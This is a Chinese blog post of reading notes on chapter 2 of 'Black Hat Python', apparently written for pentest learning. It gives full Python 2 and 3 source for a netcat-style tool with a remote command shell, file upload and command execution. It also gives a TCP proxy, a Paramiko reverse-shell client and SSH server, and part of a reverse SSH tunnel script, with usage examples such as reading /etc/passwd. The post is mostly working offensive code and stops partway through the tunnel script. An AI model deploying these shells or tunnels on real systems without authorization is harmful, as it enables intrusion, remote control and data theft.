zl程序教程

您现在的位置是:首页 >  云平台

当前栏目

网络基础

2023-06-13 09:13:36 时间

网络基础

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第2章网络基础,主要是socket模块的使用,同时也是后面篇章的基础

1、网络基础

(1)TCP客户端

一个简单的TCP客户端如下:

  • 建立socket对象
  • 连接到服务器
  • 发送数据
  • 接收并打印响应数据
#!/usr/bin/env python
#-*- coding:utf8 -*-

import socket

target_host = "127.0.0.1"
target_port = 8888

#建立一个socket对象(AF_INET:使用标准IPV4地址和主机名,SOCK_STREAM:TCP客户端)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接客户端
client.connect((target_host,target_port))

# 发送一些数据
client.send("GET / HTTP/1.1\r\nHost:baidu.com\r\n\r\n")

# 接收一些数据(4096个字符)
response = client.recv(4096)

print response

可以看到这里做了一定假设:

  • 连接总能成功建立
  • 服务器总是期望客户端先发数据
  • 服务器每次都能及时返回数据

这些都要根据实际情况调整

(2)UDP客户端

简单的修改

#!/usr/bin/env python
#-*- coding:utf8 -*-
import socket

target_host = "127.0.0.1"
target_port = 9999

#建立一个socket对象(SOCK_DGRAM:UDP客户端)
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# 发送一些数据
client.sendto("AAABBBCCC你收到了吗",(target_host,target_port))

# 接收一些数据(4096个字符),将会收到回传的数据和远程主机的信息和端口号
data, addr = client.recvfrom(4096)

print data
print addr

(3)TCP服务器

一个标准多线程TCP服务器如下:

  • 监听IP和端口
  • 设置连接数
  • 一个客户端成功连接时,启动线程处理

#!/usr/bin/env python
#-*- coding:utf8 -*-
import  socket
import threading

bind_ip = "0.0.0.0"     #绑定ip:这里代表任何ip地址
bind_port = 8888

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))
# 最大连接数为5
server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip, bind_port)

# 这是客户处理进程
def handle_client(client_socket):
    #打印出客户端发送得到的内容
    request = client_socket.recv(1024)

    print "[*] Received: %s" % request

    #发送一个数据包
    client_socket.send("ACK!")
    client_socket.close()


while True:
    client,addr = server.accept()

    print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])

    #挂起客户端线程,处理传入的数据
    client_handler = threading.Thread(target=handle_client, args=(client,))
    client_handler.start()

2、取代netcat

netcat,瑞士军刀! 现在想办法实现相似的功能

(1)bhnet.py 脚本

这里创建一个bhnet.py

  • 简单实现客户端和服务器来传递想要的文件
  • 创建一个监听端来拥有控制命令行的操作权限

#!/usr/bin/env python
#-*- coding:utf8 -*-
import sys
import socket
import getopt
import threading
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def run_command(command):

    # 删除字符串末尾的空格
    command = command.rstrip()
    # 运行命令并将输出放回
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"
    # 将输出发送
    return output

# 文件上传、命令执行
def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检查上传文件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)

    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(output)


    # 如果需要一个命令行shell,那么我们进入另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send("<BHP:#>")

            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
            #  返回命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

# 服务端
def server_loop():
    global target

    # 如果没有定义目标,那我们监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

# 客户端
def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print  response

            # 等待更多的输入
            buffer = raw_input("")
            buffer += "\n"

            # 发送出去
            client.send(buffer)

    except:
        print "[*] Exception! Exiting."

    #关闭连接
    client.close()

# usage
def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host - p port"
    print "-l --listen              - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run -execute the given file upon receiving a connection"
    print "-c --command             - initialize a commandshell"
    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples:"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)

# 主函数
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not  len(sys.argv[1:]):
        usage()

    # 读取命令行选项,若没有该选项则显示用法
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    #我们是进行监听还是仅从标准输入读取数据并发送数据?
    if not listen and len(target) and port > 0:

        # 从命令行读取内存数据
        # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)

    # 我们开始监听并准备上传文件,执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()

#调用main函数
if __name__ == '__main__': 
    main()

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5

import sys
import socket
import getopt
import threading
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

# usage
def usage():
    print("BHP NET TOOL")
    print("")
    print("Usage: bhpet.py -t target_host -p port")
    print("-l --listen                - listen on [host]: [port] for incoming connections")
    print("-e --execute=file_to_run   - excute the give file upon receiving a connection")
    print("-c --command               - initialize a command shell")
    print("-u -upload=destination     - upon receiving connection upload a file and write to [destination]")
    print("Examples: ")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.ext")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\'cat /etc/passwd\'")
    print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
    sys.exit(0)

# 客户端
def client_sender():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))
        print("Successfully connect to %s: %s" %(target, port))
        # if len(buffer):
        #     client.send(buffer.encode('utf-8'))

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096).decode('utf-8')
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(response)

            # 等待输入
            buffer = str(input(""))
            buffer += "\n"


            # 发送出去
            # print("sending....")
            client.send(buffer.encode('utf-8'))
            # print("[%s] has been sent Successfully" % buffer.encode('utf-8'))
    except:
        print("[*] Exception Exiting.")

        # 关闭连接
        client.close()

# 服务端
def server_loop():
    global target

    # 如果没有设置监听目标,那么我们默认监听本地
    if not len(target):
        target = "127.0.0.1"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)
    print("waiting for connection...")
    while True:
        client_socket, addr = server.accept()
        print("Successfully connect to %s: %s" % addr)
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=[client_socket, ])
        client_thread.start()


def run_command(command):
    # 换行
    command = command.rstrip()

    # 运行命令并将结果返回
    try:
        # output = subprocess.getoutput(command)
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "failed to execute command.\r\n"

    # 将输出发送
    return output

# 实现功能
def client_handler(client_socket):
    global upload
    global command
    global execute
    print("这里是client_handler")
    # 检测上传文件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        print("waiting for write to %s...\n" % upload_destination)
        # 持续读取数据直到没有符合的数据
        while True:
            file_buffer = ""
            while True:   
                client_socket.send(b' Please input the file\'s content:\n')
                print("receiving")
                data = client_socket.recv(1024)
                print("the data is %s" % data)
                if b'exit' in data:
                    break
                else:
                    file_buffer += data.decode('utf-8')
            print("the file_buffer is %s\n" % file_buffer)

            # 现在我们接收这些数据并将它们写出来
            try:
                file_descriptor = open(upload_destination, "w")
                file_descriptor.write(file_buffer)
                file_descriptor.close()

                # 确认文件已经写出来
                client_socket.send(b'Successfully saved file to %s\r\n' % upload_destination.encode('utf-8'))

            except:
                client_socket.send(b'Fail to save file to %s\r\n' % upload_destination.encode('utf-8'))

    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)

        client_socket.send(output)

    # 如果需要一个命令行shell, 那么我们进入另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send(" \n<BHP: #> ".encode('utf-8'))
            # 现在我们接收文件直到发现换行符
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024).decode('utf-8')
            # 返还命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

# 主函数
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
                                   ["help", "listen", "execute", "target", "port", "command", "upload"])

    except getopt.GetoptError as err:
        print(str(err))
        usage

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--command"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # 我们是监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:
        # 执行客户端程序
        client_sender()

    # 我们开始监听并准备上传文件、执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        # 执行服务端程序
        server_loop()
        
if __name__ == '__main__': 
    main()

(2)运行方法

1、获取shell执行命令

目标机(服务端)

./bhnet.py -l -p 9999 -c

攻击机(客户端)

./bhnet.py -t localhost -p 9999 

2、发送http请求

客户端

echo -ne "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | ./bhnet.py -t www.baidu.com -p 9999 

3、创建一个TCP代理

部署简单的TCP代理了解未知协议,修改发送到应用的数据包,或者为fuzz创建测试环境

(1)TCPproxy.py 脚本

#!/usr/bin/env python
#-*- coding:utf8 -*-

import sys
import socket
import threading


def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, unicode) else 2

    for i in xrange(0, len(src), length):
        s = src[i:i+length]
        hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
        text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
        result.append(b"%04X    %-*s    %s" % (i, length*(digits+1), hexa, text))

    print  b'\n'.join(result)

def receive_from(connection):

    buffer = ""

    #我们设置了两秒的超时,这取决与目标的情况, 可能需要调整
    connection.settimeout(2)

    try:
        # 持续从缓存中读取数据直到没有数据或者超时
        while True:
            data = connection.recv(4096)
            if not data:
                break
            buffer += data
    except:
        pass #pass是空语句,是为了保持程序结构的完整性,防止报错

    return  buffer

def request_handler(buffer):
    # 执行包修改
    return buffer

def response_handler(buffer):
    # 执行包修改
    return buffer

def proxy_handler(client_socket, remote_host, remote_port, receive_first):

    # 连接远程主机
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    # 如果必要从远程主机接收数据
    if receive_first:

        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

        # 发送给我们的响应处理
        remote_buffer = response_handler(remote_buffer)

        # 如果我们有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
            client_socket.send(remote_buffer)

    # 现在我们从本地循环读取数据,发送给远程主机和本地主机
    while True:

        # 从本地读取数据
        local_buffer = receive_from(client_socket)

        if len(local_buffer):
            print  "[==>] Received %d bytes from localhost" % len(local_buffer)
            hexdump(local_buffer)

            # 发送给我们的本地请求
            local_buffer = request_handler(local_buffer)

            # 向远程主机发送数据
            remote_socket.send(local_buffer)
            print  "[==>] Sent to remote."

        # 接受响应的数据
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):

            print "[<==] Received %d bytes from remote." % len(remote_buffer)
            hexdump(remote_buffer)

            #发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)

            #将响应发送给本地socket
            client_socket.send(remote_buffer)

            print "[<==] Sent to localhost."

        #如果两边都没有数据,关闭连接
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print "[*] No more data. Closing connections."

            break

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:
        print  "[!!] Failed to listen on %s:%d" % (local_host, local_port)
        print  "[!!] Check for other listening sockets or correct permissions."
        sys.exit(0)

    print "[*] Listening on %s:%d" % (local_host, local_port)

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        #打印出本地连接信息
        print "[==>] Received incoming connectiong from %s:%d" %  (addr[0], addr[1])
        #开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))
        proxy_thread.start()


def main():
    # 没有华丽的命令行解析
    if len(sys.argv[1:]) != 5:
        print "Usage: ./tcpProxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
        print "Example: ./tcpProxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
        sys.exit(0)

    # 设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    #设置远程目标
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    #告诉代理在发送给远程主机之前连接和接受数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    #现在设置好我们的监听socket
    server_loop(local_host, local_port, remote_host, remote_port, receive_first)

if __name__ == '__main__': 
    main()

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5

import sys
import socket
import threading

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        server.bind((local_host, local_port))
    except:
        print("[!!] Fail to listen on %s: %d" % (local_host, local_port))
        print("[!!] Check for other listening sockets correct permissions.")
        sys.exit(0)
    print("[*] Listening on %s: %d" %(local_host, local_port))
    server.listen(5)
    while True:
        client_socket, addr = server.accept()

        # 打印出本地连接信息
        print("[>>==] Received incoming connection from %s: %d" %(addr[0], addr[1]))

        # 开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))

        proxy_thread.start()

def proxy_handler(client_socket, remote_host, remote_port, receive_first):
    #连接远程主机
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    # 如果必要从远程主机接收数据
    if receive_first:
        remote_buffer =  receive_from(remote_socket)
        hexdump(remote_buffer)

        # 发送给我们的响应处理
        remote_buffer = response_handler(remote_buffer)

        # 如果我们有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print("[<<==] Sending %d bytes to localhost."%len(remote_buffer))
            client_socket.send(remote_buffer)

    # 现在我们从本地循环读取数据。发送给远程主机和本地主机
    while True:
        # 从本地读取数据
        local_buffer = receive_from(client_socket)
        if len(local_buffer):
            print("[>>==] Received %d bytes from localhost."%len(local_buffer))

            hexdump(local_buffer)
            # 发送给我们的本地请求
            local_buffer = request_handler(local_buffer)
            # 向远程主机发送数据
            remote_socket.send(local_buffer)
            print("[==>>] Sent to remote.")

        # 接收响应的数据
        remote_buffer = receive_from(remote_socket)
        if len(remote_buffer):
            print("[==<<] Received %d bytes from remote. " % len(remote_buffer))
            hexdump(remote_buffer)
            # 发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)
            # 将响应发送给本地socket
            client_socket.send(remote_buffer)
            print("[<<==] Sent to localhost")

        # 如果两边都没有数据,关闭连接
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing connections.")
            break


def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i + length]
        hexa = ' '.join([hex(x)[2:].upper().zfill(digits) for x in s])
        text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
        result.append("{0:04X}".format(i) + ' ' * 3 + hexa.ljust(length * (digits + 1)) + ' ' * 3 + "{0}".format(text))

    # return '\n'.join(result)
    print('\n'.join(result))

def receive_from(connection):
    buffer= ""

    # 我们设置了两秒的超时,这取决于目标的情况,肯需要调整
    connection.settimeout(2)

    try:
        # 持续从缓存中读取数据,直到没有数据或超时
        while True:
            data = connection.recv(4096)
            if not data:
                break
            data = bytes.decode(data)
            buffer += data
            buffer = str.encode(buffer)       
    except:
        pass
    return buffer

# 对目标是远程主机的请求进行修改
def request_handler(buffer):
    # 执行包修改
    return buffer

# 对目标是本地主机的响应进行修改
def response_handler(buffer):
    # 执行包修改
    return buffer

def main():
     if len(sys.argv[1:])!=5:
         print("Usage: ./proxy.py [localhost][localport][remotehost][remoteport][receive_first]")
         sys.exit(0)
     # 设置本地监听参数
     local_host = sys.argv[1]
     local_port = int(sys.argv[2])

     # 设置远程目标
     remote_host = sys.argv[3]
     remote_port = int(sys.argv[4])

     # 告诉代理在发送给远程主机之前连接和接收数据
     receive_first = sys.argv[5]

     if 'True' in receive_first:
         receive_first = True
     else:
         receive_first = False

     # 现在我们设置好我们的监听socket
     server_loop(local_host, local_port, remote_host, remote_port, receive_first)

if __name__ == '__main__': 
    main()

(2)运行方法

sudo ./TCPproxy.py 127.0.0.1 21 ftp.taget.ca 21 True

4、通过Paramiko使用SSH

Paramiko库中的PyCrypto能轻松上手SSH2协议

(1)客户端连接SSH服务器

创建一个函数连接SSH服务器并执行一条命令

#-*- coding:utf8 -*-

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    # client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    #设置自动添加和保存目标ssh服务器的ssh密钥
    client.connect(ip, username=user, password=passwd)  #连接
    ssh_session = client.get_transport().open_session() #打开会话
    if ssh_session.active:
        ssh_session.exec_command(command)   #执行命令
        print ssh_session.recv(1024)    #返回命令执行结果(1024个字符)
    return

#调用函数,以用户pi及其密码连接我自己的树莓派,并执行id这个命令
ssh_command('192.168.88.105', 'pi', 'raspberry', 'id')

(2)反向从服务端发向客户端

#!/usr/bin/env python
#-*- coding:utf8 -*-

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command, port = 22):
    client = paramiko.SSHClient()
    # client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    #设置自动添加和保存目标ssh服务器的ssh密钥
    client.connect(ip, port, username=user, password=passwd)  #连接
    ssh_session = client.get_transport().open_session() #打开会话
    if ssh_session.active:
        ssh_session.exec_command(command)   #执行命令
        print ssh_session.recv(1024)    #返回命令执行结果(1024个字符)
        while True:
            command = ssh_session.recv(1024)    #从ssh服务器获取命令
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(str(cmd_output))
            except Exception, e:
                ssh_session.send(str(e))
        client.close()
    return

ssh_command('10.10.10.145', 'root', 'lovepython', 'ClientConnected', 2222)

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5

# import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    # 密钥验证
    # client.load_host_keys('/home/justin/.ssh/known_hosts')
    # 允许连接不在known_hosts文件上的主机
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy)
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command.encode())
        print(ssh_session.recv(1024).decode())
        while True:
            # 得到执行的命令
            command = ssh_session.recv(1024).decode()
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception as e:
                ssh_session.send(str(e).encode())
        client.close()
    return

ssh_command('192.168.230.129', 'justin', 'lovesthepython', 'ClientConnection')

(3)创建一个SSH服务端

#!/usr/bin/env python
#-*- coding:utf8 -*-

import socket
import paramiko
import threading
import sys

# 使用 Paramiko示例文件的密钥
#host_key = paramiko.RSAKey(filename='test_rsa.key')
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'root') and (password == 'lovepython'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #TCP socket
    #这里value设置为1,表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))   #绑定ip和端口
    sock.listen(100)    #最大连接数为100
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException, x:
        print '[-] SSH negotiation failed'
    chan = bhSession.accept(20) #设置超时值为20
    print '[+] Authenticated!'
    print chan.recv(1024)
    chan.send("Welcome to my ssh")
    while True:
        try:
            command = raw_input("Enter command:").strip("\n")   #strip移除字符串头尾指定的字符(默认为空格),这里是换行
            if command != 'exit':
                chan.send(command)
                print chan.recv(1024) + '\n'
            else:
                chan.send('exit')
                print 'exiting'
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception, e:
    print '[-] Caught exception: ' + str(e)
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5

import socket
import paramiko
import threading
import sys

# 使用paramiko示例文件的密钥
host_key = paramiko.RSAKey(filename='test_rsa.key')

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if(username == 'justin') and (password == 'lovesthepython'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # sock.setsockopt(sock, sock.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print("[+] Listening for connection...")
    client, addr = sock.accept()
except Exception as e:
    print("[-] Listen failed: " + str(e))
    sys.exit(1)
print("[+] Got a connection ! ")

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException as x:
        print("[-] SSH negotiation failed.")
    chan = bhSession.accept(20)
    print("[+] Authenticated")
    print(chan.recv(1024).decode())
    chan.send(b'Welcome to bh_ssh')
    while True:
        try:
            command = input("Enter command: ").strip('\n')
            if command != 'exit':
                chan.send(command)
                print(chan.recv(1024).decode()+'\n')
            else:
                chan.send(b'exit')
                print("exiting")
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
    print("[-] Caught exception: "+str(e))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

5、SSH隧道

SSH隧道转发,看图理解

但是大部分Windows不运行SSH服务,那么可以反向SSH

#!/usr/bin/env python
# -*- coding:utf-8 -*-

# Copyright (C) 2008  Robey Pointer <robeypointer@gmail.com>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version 2.1 of the License, or (at your option)
# any later version.
#
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA.

"""
Sample script showing how to do remote port forwarding over paramiko.

This script connects to the requested SSH server and sets up remote port
forwarding (the openssh -R option) from a remote port through a tunneled
connection to a destination reachable from the local machine.
"""

import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
        return
    
    verbose('Connected!  Tunnel open %r -> %r -> %r' % (chan.origin_addr,
                                                        chan.getpeername(), (host, port)))
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose('Tunnel closed from %r' % (chan.origin_addr,))


def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    transport.request_port_forward('', server_port)
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
        thr.setDaemon(True)
        thr.start()


def verbose(s):
    if g_verbose:
        print(s)


HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""


def get_host_port(spec, default_port):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(':', 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]


def parse_options():
    global g_verbose
    
    parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
                          version='%prog 1.0', description=HELP)
    parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
                      help='squelch all informational output')
    parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
                      default=DEFAULT_PORT,
                      help='port on server to forward (default: %d)' % DEFAULT_PORT)
    parser.add_option('-u', '--user', action='store', type='string', dest='user',
                      default=getpass.getuser(),
                      help='username for SSH authentication (default: %s)' % getpass.getuser())
    parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
                      default=None,
                      help='private key file to use for SSH authentication')
    parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
                      help='don\'t look for or use a private key file')
    parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
                      help='read password (for key or password auth) from stdin')
    parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
                      help='remote host and port to forward to')
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error('Incorrect number of arguments.')
    if options.remote is None:
        parser.error('Remote address required (-r).')
    
    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)


def main():
    options, server, remote = parse_options()
    
    password = None
    if options.readpass:
        password = getpass.getpass('Enter SSH password: ')
    
    client = paramiko.SSHClient()
